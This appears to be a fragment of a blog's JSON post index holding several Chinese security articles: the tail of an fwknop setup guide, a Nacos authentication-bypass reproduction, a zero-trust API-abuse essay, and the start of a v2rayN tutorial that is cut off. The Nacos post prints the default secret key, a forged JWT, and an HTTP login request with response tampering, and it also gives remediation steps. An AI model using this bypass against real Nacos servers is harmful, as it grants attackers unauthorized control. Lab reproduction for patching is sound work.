20.04系统上进行环境配置，包括网络规划和软件包源的更新。同时，还介绍了如何从GitHub下载fwknop源代码并进行编译安装，以及如何配置fwknop服务端，包括设置网络接口、敲门规则和客户端令牌，最后还涉及了客户端的安装和服务运行的验证过程。\n然而，fwknop作为网络安全工具存在问题。截至最新版本2.6.11-pre1（2019年12月发布）后，代码长期未更新。由于使用C语言，Fwknop其面临跨平台能力不足、兼容性问题和内存漏洞风险，如CVE-2012-4434、CVE-2012-4435、CVE-2012-4436所示。同时美国国家安全局已建议避免使用C/C++软件，强调更安全编程语言的需求。\n展望未来，网络安全领域的发展有望引入更先进的技术，如自主可控的零信任网络隐身技术NHP（Network Hiding Protocol）。NHP技术通过更加严密的安全机制和智能化的管理，能够有效地提高网络的隐蔽性和抵御攻击的能力。这种技术在未来可能会成为网络安全的重要发展方向，尤其是在应对日益复杂的网络威胁和提升系统的整体安全性方面，NHP展现出巨大的潜力。通过引入这样的技术，我们可以期待一个更加安全、可靠的网络环境。\n0x07 附录 [1]Fwknop的Github仓库地址：https://github.com/mrash/fwknop\n[2]Fwknop的官方支持文档：http://www.cipherdyne.org/fwknop/\n[3]CVE-2012-4436：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4436\n[4]CVE-2012-4435https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4435\n[5]CVE-2012-4434：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4434\n[6]Fwknop相关CVE漏洞分析文章：https://ioactive.com/wp-content/uploads/2018/05/Multiple_Security_Vulnerabilities_in_Fwknop.pdf\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%BC%80%E6%BA%90%E5%8D%95%E5%8C%85%E6%8E%88%E6%9D%83%E5%B7%A5%E5%85%B7fwknop%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/","summary":"SDP架构下保护的业务服务只允许被认为合法的报文进行访问，丢弃“非法”报文，从而实现了业务服务隐身。SDP 架构分为三个部分：SDP Client、Controller、Gateway。所有的Client在访问资源之前，都要通…","tags":["技术实践","零信任","网络工具"],"title":"开源单包授权工具fwknop环境搭建","unix":1705716000,"year":"2024"},{"date":"2024-01-08","dateISO":"2024-01-08","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%BC%BA%E5%8C%96nacos%E5%AE%89%E5%85%A8%E6%80%A7%E4%BB%8E%E4%BC%A0%E7%BB%9F%E5%AE%89%E5%85%A8%E5%88%B0%E5%88%9B%E6%96%B0nhp%E5%8D%8F%E8%AE%AE%E7%9A%84%E6%BC%94%E8%BF%9B/","plain":"0x01 概述 在过去四年中，笔者通过参与各种攻防演练、护网行动和重点保障任务，深刻地认识到了传统网络安全策略的局限性。这些实战经验不仅让圈子加深了对网络安全、数字安全领域的理解，也揭示了在不断演变的威胁环境中，传统安全措施如何变得不再充分。尤其在2023年护网中，Nacos的0day漏洞事件圈内引起了广泛关注。\n在这种背景下，传统的安全产品，如防火墙和Web应用防火墙（WAF），在应对这种应用层漏洞方面显得力不从心。这些产品虽然能有效防御某些网络层面的攻击，但面对复杂的应用层漏洞，如Nacos所面临的身份认证绕过问题，它们往往无法提供足够的保护。此外，面对这类漏洞，打补丁的周期往往较长，意味着系统在漏洞被公开和修复之前，持续处于高风险状态，造成HW行动中被打穿 。\n本文旨在通过Nacos的QVD-2023-6271这一漏洞，探讨传统安全产品在应对复杂网络威胁时的局限性，并介绍一种新兴的网络安全方法——网络资源超隐身协议（NHP协议），NHP协议作为零信任安全框架的核心组件之一，专为网络环境中的资源隐身和安全访问设计，在“永不信任、持续验证”的安全理念指导下，通过一套严格的身份验证和授权流程来控制数据资源的访问。这种方法在Nacos的应用场景中显著增强了系统的安全性。通过将NHP协议应用于Nacos，不仅能有效应对特定的安全挑战，如身份认证绕过漏洞，还能在更广泛的层面上提升整个系统的安全性和韧性。这篇文章将深入探讨NHP协议在增强Nacos安全性中的应用，以及其相较于传统安全产品的优势。\n0x02 漏洞影响范围 Nacos是阿里巴巴开源的SpringCloud Alibaba项目下的一项技术。Nacos是一个用于动态配置管理、服务发现和服务管理的平台，它可以帮助开发人员更容易地构建和管理微服务架构的应用程序。它提供了一种集中的方式来管理配置信息，同时还可以用于发现和注册微服务，以确保它们能够有效地通信和协作。这使得Nacos成为构建分布式系统的强大工具之一。目前Github该仓库已有28.3k+的star\n漏洞介绍：开源服务管理平台 Nacos 中存在身份认证绕过漏洞，在默认配置下未对 token.secret.key 进行修改，导致远程攻击者可以绕过密钥认证进入后台，造成系统受控等后果。\n影响版本：Nacos \u003c= 2.2.0\n利用难度：低\n漏洞编号：NVDB-CNVDB-2023674205 QVD-2023-6271\n威胁等级：严重，能够造成远程代码执行\n综合评价：漏洞利用难度低，且在外网情况下可以造成远程代码执行，且已被公开，可被黑客利用进行全网扫描\n0x03 攻击原理 在nacos中，token.secret.key值是固定的\nkey=SecretKey012345678901234567890123456789012345678901234567890123456789 利用该默认key可进行jwt构造，直接进入后台\n0x04 复现步骤 IP地址 用途 备注 172.17.0.1 靶机 通过配置docker容器，搭建启动docker服务 192.168.31.31 攻击机 Kali 攻击机 4.1 环境机搭建 4.1.1 Windows环境搭建 该漏洞用到了JAVA环境，参考网上已有的复现文章，使用jdk-11.0.2_windows-x64_bin.exe\n下载链接：https://github.com/alibaba/nacos/releases/tag/2.2.0\n由于2.2.0后的nacos已经将该漏洞修复，所以使用2.2.0的包\n下载完成之后放到虚拟机，执行startup.cmd -m standalone\n执行成功后即可在本地启动nacos\n看到如上图输出信息后即代表搭建成功，通过路径访问\nhttp://192.168.31.31:8848/nacos/#/login 4.1.2 Linux下docker搭建nacos 本次漏洞复现使用docker进行漏洞复现，docker中执行以下命令即可\ndocker search nacos #寻找合适的nacos版本 docker pull nacos/nacos-server #下载镜像 设置挂载\nmkdir -p /tmp/nacos/logs/ #新建logs目录 mkdir -p /tmp/nacos/init.d/ 修改配置文件\nvim /tmp/nacos/init.d/custom.properties server.contextPath=/nacos server.servlet.contextPath=/nacos server.port=8848 spring.datasource.platform=mysql db.num=1 db.url.0=jdbc:mysql://127.0.0.1:3306/nacos-config? characterEncoding=utf8\u0026connectTimeout=1000\u0026socketTimeout=3000\u0026autoReconnect=true #这里需要修改端口 db.user=root #用户名 db.password=123456 #密码 nacos.cmdb.dumpTaskInterval=3600 nacos.cmdb.eventTaskInterval=10 nacos.cmdb.labelTaskInterval=300 nacos.cmdb.loadDataAtStart=false management.metrics.export.elastic.enabled=false management.metrics.export.influx.enabled=false server.tomcat.accesslog.enabled=true server.tomcat.accesslog.pattern=%h %l %u %t \"%r\" %s %b %D %{User-Agent}i nacos.security.ignore.urls=/,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/login,/v1/console/health/**,/v1/cs/**,/v1/ns/**,/v1/cmdb/**,/actuator/**,/v1/console/server/** nacos.naming.distro.taskDispatchThreadCount=1 nacos.naming.distro.taskDispatchPeriod=200 nacos.naming.distro.batchSyncKeyCount=1000 nacos.naming.distro.initDataRatio=0.9 nacos.naming.distro.syncRetryDelay=5000 nacos.naming.data.warmup=true nacos.naming.expireInstance=true 启动容器\ndocker run --name nacos -d -p 8848:8848 -p 9848:9848 --privileged=true --restart=always -e JVM_XMS=256m -e JVM_XMS=256m -e MODE=standalone -e PREFER_HOST_MODE=hostname -e PREFER_HOST_MODE=hostname -v /tmp/nacos/logs:/home/nacos/logs -v /tmp/nacos/init.d/custom.properties:/home/nacos/init.d/custom.properties nacos/nacos-server 成功启动容器之后 似乎docker存在某些问题，执行以下命令即可正常启动容器\ndocker exec -it [容器哈希] /bin/bash #进入docker容器 cd bin sh docker-startup.sh 访问网站 http://192.168.31.31:8848/nacos\n成功打开网站\n4.2 漏洞复现 在nacos中，token.secret.key是死的，位置在conf目录下application.properties中\n我的环境中key值为：SecretKey012345678901234567890123456789012345678901234567890123456789}\n利用该值可以进行JWT构造，访问https://jwt.io/ 输入默认的key值\n{ \"alg\": \"HS256\", \"typ\": \"JWT\" } { \"sub\":\"nacos\", \"exp\":\"1704724306\" } 这里exp的值为当前时间戳往后的时间，要比真实时间更晚。\n需要注意的是在网站中，需要勾选secret base64 encoded选项\n在数据包中添加Authorization请求包如下\nPOST /nacos/v1/auth/users/login HTTP/1.1 Host: 192.168.31.31:8848 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://139.196.217.155 Connection: close Referer: http://139.196.217.155/nacos/ Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MDQ3MjQzMDYifQ.tjGozAqCoY1r0AKy8fnF1qORQAtF-7-dDrnBR2t2-08 username=admin\u0026password=123456 将数据包发出并截停回 包，拿到了access_token\n将得到的信息全部复制保存，再进行正常登录，截停回包，将返回包修改为复制的信息，即可正常完成登录\n0x05 修复方案 一、升级到最新版本\n二、删除默认配置中的下列选项，启动nacos时必须手动配置\n通过修改conf/application.properties文件即可以\nnacos.core.auth.server.identity.key nacos.core.auth.server.identity.value nacos.core.auth.plugin.nacos.token.secret.key 修改 nacos的application.properties配置文件nacos.core.auth.enabled=true，开启服务身份识别功能 重启nacos 此时我们再访问刚才的接口，换在浏览器执行如果出现这个：\n出现403的说明修改成功\nNacos注册及配置中心开启权限认证 以上修改完成以后，再次漏扫，nacos权限绕过漏洞(CVE-2021-29441)不会再出现。\n0x06 传统安全产品与Nacos漏洞处理的局限性 在网络安全领域，传统安全产品，如阿里云安全中心（原云骑士），虽然提供了基础的保护措施，但在应对复杂和高级的安全威胁时，它们的能力可能显得不足。以Nacos漏洞为例，传统安全产品主要依赖于推荐应用升级或修改服务器配置文件这类被动和通用的策略。这种方法虽然对于即时防御某些已知漏洞有效，但在根本上并没有解决安全漏洞的潜在风险。\n阿里云安全中心在发现Nacos身份认证绕过漏洞后，推荐的修复策略主要是应用升级，以及对原生云服务器应用的配置文件进行修改。这种做法虽然能够在一定程度上提供防护，但它并没有提供一个系统性的解决方案来应对更深层次的安全问题。例如，仅靠升级应用并不能完全避免未来的安全漏洞，而直接修改配置文件可能会对应用的正常运行造成影响。更重要的是，这类传统安全产品通常只在面对已知威胁时才能提供有效的防护措施。它们往往缺乏对未知威胁的预防能力，无法主动识别和防御尚未发现的安全漏洞。此外，依赖于云服务提供商进行安全干预，可能会导致客户对自己的安全状况产生依赖，从而忽视了自身在安全管理和持续监控方面的责任。\n因此，在处理像Nacos这样的复杂漏洞时，单靠传统云安全产品可能不足以提供充分的保护。为了真正提升安全性和减少对外部服务的依赖，需要探索更先进、更主动的安全措施，比如NHP（网络资源超隐身）协议。接下来的部分将详细探讨NHP协议在增强Nacos安全性方面的应用，以及它相较于传统云安全产品的优势。\n0x07 NHP协议在增强Nacos安全性中的应用 7.1 NHP协议概述 网络资源超隐身协议（NHP）是零信任安全框架的核心组件之一，专为网络环境中的资源隐身和安全访问设计。在“永不信任、持续验证”的零信任安全理念指导下，NHP协议通过一套严格的身份验证和授权流程来控制数据资源的访问，从而确保仅经过身份认证和权限鉴别的合法请求者才能访问到目标资源。NHP协议的技术架构包括NHP代理、NHP服务器和NHP门禁等组件，协同工作以隐藏数据资源的真实网络位置，提供安全的授权访问。\n7.2 NHP协议与Nacos安全性 在Nacos的应用场景中，NHP协议的应用可以显著增强系统的安全性。针对Nacos面临的身份认证绕过漏洞，NHP协议提供了一种有效的防御机制。通过NHP，Nacos服务器可以在网络上实现“隐身”，即在未经验证的情况下，对潜在的攻击者或非授权用户不可见。NHP协议中的敲门流程确保了只有经过认证的请求者才能发现并接触到Nacos服务器，大大减少了未授权访问和潜在攻击的机会。此外，NHP协议通过其分布式架构和高效的加密通信机制，为Nacos提供了一层额外的安全保护，确保了数据通信的完整性和机密性。\n7.3 NHP协议的优势 NHP协议在增强Nacos安全性方面的应用带来了多方面的优势。首先，它通过隐藏Nacos服务的网络位置，显著降低了被恶意扫描和识别的风险。其次，NHP协议的身份验证和授权机制为Nacos提供了更强的访问控制，确保只有经过严格认证的用户才能访问服务。这一点对于防御身份认证漏洞尤为关键。此外，NHP协议的设计还考虑了性能和可扩展性，确保在提高安全性的同时，不会对Nacos系统的性能产生过大影响。最后，NHP协议的应用有助于提高Nacos系统的整体安全态势，使其更加适应当今复杂多变的网络安全环境。\n总体而言，将NHP协议应用于Nacos不仅能有效应对特定的安全挑战，如身份认证绕过漏洞，还能在更广泛的层面上提升整个系统的安全性和韧性。这使得NHP协议成为提升Nacos安全架构的重要组成部分，为保护关键的数据资源提供了一种创新且有效的方法。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%BC%BA%E5%8C%96nacos%E5%AE%89%E5%85%A8%E6%80%A7%E4%BB%8E%E4%BC%A0%E7%BB%9F%E5%AE%89%E5%85%A8%E5%88%B0%E5%88%9B%E6%96%B0nhp%E5%8D%8F%E8%AE%AE%E7%9A%84%E6%BC%94%E8%BF%9B/","summary":"在过去四年中，笔者通过参与各种攻防演练、护网行动和重点保障任务，深刻地认识到了传统网络安全策略的局限性。这些实战经验不仅让圈子加深了对网络安全、数字安全领域的理解，也揭示了在不断演变的威胁环境中，传统安全措施如何变得不再充分…","tags":["技术实践","零信任","漏洞研究","实操指南"],"title":"强化Nacos安全性：从传统安全到创新NHP协议的演进","unix":1704679200,"year":"2024"},{"date":"2023-11-30","dateISO":"2023-11-30","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%9C%A8%E9%9B%B6%E4%BF%A1%E4%BB%BB%E6%9E%B6%E6%9E%84%E4%B8%8B%E7%9A%84api%E5%AE%89%E5%85%A8%E4%B8%8E%E6%BB%A5%E7%94%A8%E9%98%B2%E6%8A%A4/","plain":"引言 在当今数字化的浪潮中，应用程序编程接口（API）的战略重要性愈发凸显。API不仅仅是现代软件和互联网服务之间沟通的桥梁，更是企业价值创造的核心。随着API的快速发展和广泛应用，安全问题随之而来，其中API滥用尤为引人注目，它已经成为数字安全领域亟待解决的关键挑战。\n传统的网络安全模型，以其定义的安全边界为基础，但在如今混合云和移动办公的背景下，这一概念正被重新定义。越来越多的组织开始采纳零信任架构（Zero Trust Architecture, ZTA）的原则，该原则核心在于不再默认信任任何用户或设备，而是要求在每一次访问敏感资源时都进行评估，然后持续地对其信任度进行监控。然而，在许多ZTA的实施过程中，API基于的敏感应用功能和数据访问方式常被忽视，这一点在设计连续信任评估机制时尤其明显。为了填补这一空白，我们需要高度重视API的安全性，并确保它们在零信任架构下得到充分的考虑和保护。\n在本篇文章中，我们将探讨API滥用为何构成了一个独特的问题，它如何影响企业的业务逻辑和数据安全，并讨论如何将API安全性纳入零信任架构中，以构建更为强大和灵活的安全策略。通过细致分析这两个领域的交集，我们不仅能更好地理解API的安全威胁，还能为企业提供一系列切实可行的防护措施，帮助它们在这个不断变化的数字世界中立于不败之地。\nAPI滥用的新挑战 在构筑零信任架构的过程中，API作为信息系统中不可或缺的组成部分，其安全性尤为关键。然而，随着技术的演进，API滥用成为了安全领域中的一个新型挑战。这种滥用并非传统意义上的安全漏洞攻击，而是恶意主体利用API执行非预期的操作，这在零信任的理念下，更显得防不胜防。\n图：API安全威胁的来源-谷歌云的API安全报告\n根据OWASP的2023年API安全前十大风险报告，API滥用可能导致的风险同传统的安全威胁一样严重。滥用者利用合法的访问权限，以合法用户的身份进行操作，这种行为在系统日志中往往与正常活动难以区分，给传统的侵入检测系统带来了巨大的挑战。在零信任架构下，每一次访问尝试都要经过严格的信任评估，这本质上要求我们对API安全采取更为主动和全面的防护措施。除了持续的监控和评估外，组织需要采用更高级的数据分析方法，比如行为分析和机器学习技术，以识别和防范API滥用。例如，Akamai提出，通过强大的计算能力，SaaS模型能够分析大规模的数据集，从而有效地识别API使用中的异常行为，这是实现零信任中连续验证原则的关键环节。\n当前，防御API滥用不仅要求技术层面上的创新，也需要在政策和战略层面上进行深思熟虑的规划。在这个不断变化的安全环境中，我们必须重新审视我们的API安全策略，确保它们能够与零信任架构的核心原则相融合，以应对日益复杂的威胁。在零信任的框架内，任何设备或用户都不再是默认可信的，这就要求我们对API的管理策略进行彻底的重新设计。从API发现、认证、授权到行为监控和异常检测，每一个环节都必须严格遵守零信任的原则。通过这种全方位的策略，我们可以更好地防范API滥用，保护企业的关键业务流程免受威胁。\n在未来，随着零信任理念的进一步深化和技术的持续发展，API安全策略将变得更加智能化和自动化，但今天，我们必须采取切实可行的步骤，为迎接这些挑战做好准备。\n零信任架构的基本原则 在零信任架构中，“永不信任、始终确认\"的原则为企业安全构建了全新的基础。这种架构不依赖于传统的边界防御，而是在每一次资源访问中实施严格的身份验证和权限控制。这个转变对API安全尤为关键，因为API是现代企业IT架构中数据和服务交互的关键通道。零信任架构的核心在于消除内部和外部网络之间的信任区别，它要求对网络内的所有访问行为都进行严格的安全检查，无论访问请求来源于内部还是外部。这种模式认为安全威胁可以来自任何地方，因此必须对每个访问请求都实施连续的安全验证。这对于企业意味着必须在每个网络节点、每个数据流程、每个API调用中实施安全控制，从而确保数据和资源的安全。\n在零信任框架下，API安全成为实现安全目标的重要支点。每个API都是一个潜在的访问点，需要被严格控制和监管。以下是零信任原则与API策略交集的关键点：\n身份验证：在零信任架构中，所有API调用都需要强验证，确保只有经过验证和授权的用户和系统可以访问API。 最小化权限：每个API的访问权限都应该限制在绝对必要的最小范围内，以减少过度权限所带来的安全风险。 动态策略：API访问策略应根据访问上下文动态调整，实时反映访问请求的风险级别，以及用户和系统的信任度。 持续监控：实时监控API的使用情况，分析访问模式，以便于快速发现和应对异常行为和潜在的安全威胁。 通过这些策略的实施，API不仅成为服务和数据交互的桥梁，也成为实施零信任架构的关键环节。这确保了企业能够在开放和灵活的IT环境中保持强大的安全防护，为企业的数字化转型提供了坚实的安全基础。\n零信任的七大基本原则与API安全 下表包括 NIST SP 200-807 中定义的 ZTA 的七个基本原则，以及使组织的 API 安全实践与这些原则保持一致的建议。\n零信任架构的 7 个基本原则 API 安全隐患 1.“所有数据源和计算服务都被视为资源。” ZTA 范围内的许多应用程序和数据源除了直接的用户界面外，还可以通过 API 访问。因此，您的 ZTA 评估和策略执行模型应包括 API 接口。 2.“无论网络位置如何，所有通信都是安全的。” 即使 API 仅供私有数据中心或云环境内部使用，您也应该像面向外部一样实施加密、身份验证和授权，以确保数据的机密性和完整性。 3.“对单个企业资源的访问权限是按会话授予的。” 您应该在授予对 API 资源的访问权限之前评估信任。应以尽可能最少的权限授予访问权限。使用行为分析来监控 API 使用情况并持续评估信任。 4.“对资源的访问由动态策略决定——包括客户端身份、应用程序/服务和请求资产的可观察状态——并且可能包括其他行为和环境属性。” 要将 ZTA 应用于 API，您必须能够识别所涉及的实体、推断业务上下文并使用行为分析来识别与正常使用模式的偏差。值得注意的一个行为属性是通过快速 API 调用拒绝服务。 这就是为什么缺乏API 速率限制在(OWASP) API 安全 Top 10中被归类为对敏感业务流的无限制访问。正如NIST指出的那样，“这些规则和属性基于业务流程的需求和可接受的风险水平。” 5.“企业监控和衡量所有拥有和相关资产的完整性和安全状况。” 此要求基于美国网络安全和基础设施安全局 (CISA) 定义的持续诊断和缓解 (CDM) 概念。CDM 包括资产管理、漏洞管理和配置/设置管理等元素。 就像实物资产一样，API 必须不断发现、分类和跟踪。同样，持续的漏洞评估应该超越传统的网络和应用程序安全漏洞，包括可能的基于 API 的漏洞。 6.“所有资源身份验证和授权都是动态的，并且在允许访问之前严格执行。” 这个概念可以而且应该扩展到 API。采用 ZTA 的组织应对 API 使用情况进行持续监控，并使用自动化技术（例如阻止、限制、撤销凭证）在经过身份验证和授权的 API 流量中检测到异常或滥用行为时做出响应。 7.“企业收集尽可能多的有关资产、网络基础设施和通信当前状态的信息，并利用这些信息来改善其安全状况。” 要成为 ZTA 的有效组成部分，您的 API 安全措施必须能够在较长时间内捕获数据 - 理想情况下，应该有足够的时间来检测微妙的 API 滥用。 这种详细程度对于执行行为分析以进行实时风险评估和 ZTA 设计的持续改进是必要的。这包括向威胁搜寻者提供对 API 和威胁数据的按需访问，以用于确定可能的策略改进。还应该使用您的团队使用的开发和操作工具以及工作流程来创建类似的集成点。 在零信任架构下，API不仅仅是数据交换的管道，它们是维护企业安全的关键资源。实施零信任的基本原则要求我们从新的角度审视API安全策略，确保每一个原则都在API管理中得到体现。\n首先，将所有数据资源和计算服务视为资源，意味着ZTA中的API也应当包括在内，每个API都应受到和直接用户界面同等级别的安全评估和策略执行。这要求企业对API进行全面的发现和分类，确保API接口的每次访问都经过严格的安全评审。 其次，所有通信都必须安全，不受网络位置限制。对API而言，这意味着无论是内部还是外部API，都应实现加密、身份验证和授权，确保传输数据的机密性和完整性。在动态策略的指导下，API的访问控制应根据请求的上下文动态调整，包括用户身份、应用状态和其他可能的行为及环境属性。这种方法有助于识别和防范诸如快速API调用导致的服务拒绝等异常行为。监控和衡量所有拥有和关联资产的完整性和安全状况对于API来说尤其重要。这包括实时跟踪API的健康状况和安全配置，以及对API进行持续的漏洞评估和缓解。所有资源的身份验证和授权必须动态执行并严格控制。对于API，这意味着认证和授权机制需要能够适应不断变化的安全环境，并在检测到异常或滥用行为时能够及时做出反应。最后，收集关于资产和网络基础设施状态尽可能多的信息对于API安全至关重要。这些信息有助于组织通过行为分析来识别可能的滥用行为，并为ZTA设计的持续改进提供数据支持。\n通过上述原则的应用，零信任安全模型强化了API的安全防护，确保了企业资产的安全，同时为未来可能的安全策略改进奠定了基础。在零信任架构下，API安全不再是一项附加任务，而是构建强健安全体系的核心组成部分。\n防御API滥用的策略 在零信任架构下，防御API滥用的策略是构建强健安全防线的关键一环。策略的制定应基于对API攻击深层次的理解，以及对大量API相关数据的分析和利用，这些都是识别和预防API滥用的重要手段。\n扩展对API攻击的理解 API安全不仅仅关注防止未授权的访问或数据泄露，更应当理解攻击者可能利用API进行的其他滥用行为。攻击者可能不会直接攻击API本身，而是滥用API的合法功能达到恶意目的，如通过高频调用导致服务中断或通过滥用功能逻辑进行数据挖掘。因此，安全团队必须更新他们对API攻击的认知，考虑到这些攻击可能跨越多个系统和服务，涉及复杂的业务逻辑。\n分析更多关于API的数据 有效的API滥用防御策略依赖于对大量API使用数据的分析。这包括但不限于API调用频率、调用时间、访问来源和访问行为模式。通过收集和分析这些数据，安全团队可以建立正常使用API的基线行为模型，并利用偏离这些基线的行为来识别潜在的滥用情况。例如，突然增加的API流量可能表明存在自动化攻击或潜在的数据泄露。\n利用API检测滥用行为 API自身可以成为检测API滥用行为的工具。通过实施高级的监控和分析技术，如异常行为检测系统和人工智能算法，可以实时识别和响应滥用事件。自动化工具和机器学习模型可以帮助识别出正常API使用模式与潜在滥用之间的微妙差异，从而在不影响用户体验的情况下防止滥用。\n将这些策略综合运用，安全团队可以构建出一套全面的API滥用防御体系。这套体系不仅要求技术层面的精确和先进，还要求安全策略与企业的业务流程和API的使用模式紧密结合，以确保在不影响业务连续性的同时最大限度地减少API滥用的风险。\n技术在检测API滥用中的应用 在零信任架构下，技术在检测API滥用方面的应用是保障企业安全的重要组成部分。以下内容详细探讨了人工监控的局限性，以及AI和机器学习技术在检测API滥用中的关键作用。\n人工监控API活动往往存在局限性，尤其是在处理大规模数据和识别复杂攻击模式时。人工分析容易受到资源限制，且难以实时响应。由于API交互频繁且复杂，人工监控很难即时发现滥用行为，尤其是当滥用行为在大量正常流量中进行时。此外，人工监控难以持续24小时执行，易受人为疲劳影响，而忽视或误解数据中的关键异常指标。随着API的增多和使用量的加大，依赖人工监控变得不切实际。\nAI和机器学习技术在检测API滥用方面提供了一种更为高效和精确的方法。AI算法能够处理和分析大量数据，识别出那些可能表明滥用的模式，例如不寻常的访问频率或异常的访问模式。通过不断学习正常的API访问行为，机器学习模型能够识别出异常行为，即使这些行为在表面上看起来与合法使用相似。为了更有效地利用AI和机器学习进行滥用检测，建立正常API使用的行为基准是至关重要的。这些基准通过对API的正常使用模式进行长期监控而形成，可以帮助区分正常活动和可能的滥用活动。一旦监测到与基准行为有显著偏差的活动，安全系统可以立即触发警报，并采取相应的预防措施。\n通过利用这些先进技术，企业能够提高检测API滥用的能力，减少对人工监控的依赖，从而提高安全团队对潜在威胁的响应速度和准确性。随着AI技术的不断进步，这些工具将变得更加智能，能够更准确地识别和预防API滥用，为企业的API安全战略提供坚实的技术支持。\n将API安全纳入零信任架构 零信任的主要思想是将集中执行点转变为**应用程序（包括API）**的每个路径中的多个微检查点。无论是内部访问外部请求，手机还是PC，API调用还是HTTP请求，普通员工还是CEO，都不可信任。\n将API安全融入零信任架构需要确保零信任的核心原则在API层面得到充分实施，并通过持续的监管和分析来强化安全态势。零信任安全模型的七大原则为API安全提供了一个坚实的框架。这些原则指导企业如何处理API及其安全，确保从认证到授权、从加密到监控的每一个安全环节都不被忽视。在此框架下，每个API端点都被视作一个单独的资源，对每次访问都进行严格的安全校验，以确保数据的安全和服务的可靠性。\n基于零信任的API数据安全管控采用流量代理网关的模式，通过全流量代理网关作为统一入口，对特定的应用由应用代理模块进行控制，处理各种 C/S 和 B/S 的应用。\n将API安全融入零信任架构需要确保零信任的核心原则在API层面得到充分实施，并通过持续的监管和分析来强化安全态势。零信任安全模型的七大原则为API安全提供了一个坚实的框架。这些原则指导企业如何处理API及其安全，确保从认证到授权、从加密到监控的每一个安全环节都不被忽视。在此框架下，每个API端点都被视作一个单独的资源，对每次访问都进行严格的安全校验，以确保数据的安全和服务的可靠性。\n要有效实施零信任原则，企业需要执行持续的API发现工作，维护一个准确的API清单。这意味着不仅要识别和管理正式的API，还要发现和控制那些未经授权或“阴影”API，以消除可能被忽视的安全隐患。除了API的发现和管理，还需要发展分析大型API流量数据集的能力。通过这种分析，企业能够理解API的正常使用模式，从而识别出异常行为，这些异常行为可能是安全威胁的前兆，比如滥用或攻击。最后，将威胁和信任见解融入到零信任架构（ZTA）的策略引擎中，使安全策略能够动态适应新的情报和见解。这种整合使得安全响应更加灵活和及时，能够根据实时数据调整安全策略，以应对不断演变的威胁环境。\n通过上述措施，API安全成为零信任架构的一个有机组成部分，不仅加强了对API层面的安全防护，也为整个企业的数字资产和服务提供了更全面的保护。随着安全策略和技术的不断进步，企业能够在这个不断变化的数字时代中保持弹性和竞争力。\n结论 面对API安全挑战的持续演进，企业需要不断更新和强化其安全措施。这不仅包括技术的更新换代，还涉及到安全团队对最新威胁的认知、对策略的调整，以及对安全工具的优化。随着API的普及和重要性的增加，对API的保护也必须跟上其发展的步伐。整合滥用预防措施的重要性不言而喻。企业不仅需要防御外部的攻击，更需要内部的安全措施来防范API的滥用。这包括确保适当的访问控制、监控和响应机制，以便及时发现并应对任何非正常的API使用模式。\n在零信任世界中，API安全的方向将趋向于更加智能化和自动化。利用人工智能和机器学习等先进技术，企业将能更准确地预测和识别安全威胁，同时，自动化的工具将提升响应滥用事件的速度和效率。这样的发展不仅提高了安全水平，也增强了企业的适应性和韧性，使其能够在不断变化的安全环境中保持竞争优势。\n综上所述，企业在零信任架构下必须采取全面的API安全措施，以确保在数字化转型的过程中能够安全、稳定地发展。随着安全技术的进步和企业对安全价值认识的提升，我们有理由相信，未来的API安全管理将变得更加成熟和高效。\n关于作者 BlueDog：CSA大中华区研究协调员、西塞数字安全研究院\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%9C%A8%E9%9B%B6%E4%BF%A1%E4%BB%BB%E6%9E%B6%E6%9E%84%E4%B8%8B%E7%9A%84api%E5%AE%89%E5%85%A8%E4%B8%8E%E6%BB%A5%E7%94%A8%E9%98%B2%E6%8A%A4/","summary":"在当今数字化的浪潮中，应用程序编程接口（API）的战略重要性愈发凸显。API不仅仅是现代软件和互联网服务之间沟通的桥梁，更是企业价值创造的核心。随着API的快速发展和广泛应用，安全问题随之而来，其中API滥用尤为引人注目，它已…","tags":["技术实践","零信任","API安全","实操指南"],"title":"在零信任架构下的API安全与滥用防护","unix":1701309600,"year":"2023"},{"date":"2023-11-22","dateISO":"2023-11-22","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/v2rayn-%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/","plain":"界面预览 下载 官网下载 v2rayN官网下载地址：https://github.com/2dust/v2rayN/releases 新手使用建议下载稳定版本，即版本号后标记为 Latest 的版本。\n安装教程 软件目录 下载完成后，找到合适的目录，推荐安装在非系统盘，解压压缩包，解压后的目录如下图所示。\n提示下载.NET 8.0 Desktop 下载后，全部下一步即可安装。\n在安装好后，我们回到V2ray所在的文件夹。单击鼠标右键以管理员身份运行 v2rayN.exe 即可开始使用，程序启动后会最小化到任务右小角的托盘，鼠标双击蓝色的 V 字小图标，即可打开软件的主界面。\n图标说明 不同状态下软件的图标颜色是不一样的，参考下表图标颜色说明。\n图标 软件状态 说明 清除系统代理 每次启动/重启服务的时候，强制把windows系统(ie)的代理清除掉。 自动配置系统代理 